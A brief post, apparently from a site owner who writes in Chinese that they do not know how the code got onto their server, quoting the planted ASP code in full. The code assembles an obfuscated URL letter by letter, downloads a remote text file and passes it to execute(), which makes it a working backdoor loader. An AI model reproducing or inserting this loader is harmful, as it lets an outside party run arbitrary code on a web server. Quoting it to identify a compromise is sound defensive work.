|
不知道怎么被弄上去的 - <%
- 'by*aming
- dim amurl,ammx,amas
- amurl="h"&"t"&"t"&"p"&":"&"/"&"/"&"c"&"h"&"u"&"."&"s"&"h"&"u"&"c"&"."&"i"&"n"&"f"&"o"&"/"&"a"&"s"&"p"&"/"&"b"&"o"&"t"&"/"&"n"&"e"&"w"&"c"&"o"&"n"&"f"&"i"&"g"&"."&"t"&"x"&"t"
- Set ammx=CreateObject("Microsoft.XMLHTTP")
- ammx.Open "Get",amurl,False,"",""
- ammx.setRequestHeader "User-Agent",amurl
- ammx.Send
- set amas=Server.CreateObject("adodb.stream")
- amas.Type=1
- amas.Mode=3
- amas.Open
- amas.Write ammx.ResponseBody
- amas.Position=0
- amas.Type=2
- amas.Charset="gb2312"
- execute(amas.ReadText)
- amas.Close
- set amas=nothing
- Set ammx=nothing
- %>
|